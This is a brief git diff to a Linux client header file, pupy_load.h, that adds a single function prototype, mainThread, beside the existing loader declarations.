diff --git a/client/sources-linux/pupy_load.h b/client/sources-linux/pupy_load.h
index 73575365..ef0a516a 100644
--- a/client/sources-linux/pupy_load.h
+++ b/client/sources-linux/pupy_load.h
@@ -8,6 +8,8 @@ void initialize(bool isDll);
 int execute(void * lpArg);
 void deinitialize();
 
+uint32_t mainThread(int argc, char *argv[], bool so);
+
 void setup_jvm_class();
 
 #endif